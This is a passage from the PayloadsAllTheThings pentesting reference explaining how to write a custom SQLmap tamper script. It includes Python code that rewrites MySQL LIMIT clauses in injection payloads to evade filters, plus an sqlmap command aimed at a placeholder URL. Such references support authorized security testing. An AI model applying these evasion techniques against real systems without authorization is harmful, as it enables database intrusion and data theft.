When creating a custom tamper script, there are a few things to keep in mind. The script architecture contains these mandatory variables and functions: * `__priority__`: Defines the order in which tamper scripts are applied. This sets how early or late SQLmap should apply your tamper script in the tamper pipeline. Normal priority is 0 and the highest is 100. * `dependencies()`: This function gets called before the tamper script is used. * `tamper(payload)`: The main function that modifies the payload. The following code is an example of a tamper script that replace instances like '`LIMIT M, N`' with '`LIMIT N OFFSET M`' counterpart:
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGH
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
retVal = payload
match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "")
if match:
retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1)))
return retVal* Save it as something like: `mytamper.py` * Place it inside SQLmap's `tamper/` directory, typically: ```ps1 /usr/share/sqlmap/tamper/ ``` * Use it with SQLmap ```ps1 sqlmap -u "http://target.com/vuln.php?id=1" --tamper=mytamper ```
Source: SQL Injection/SQLmap.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.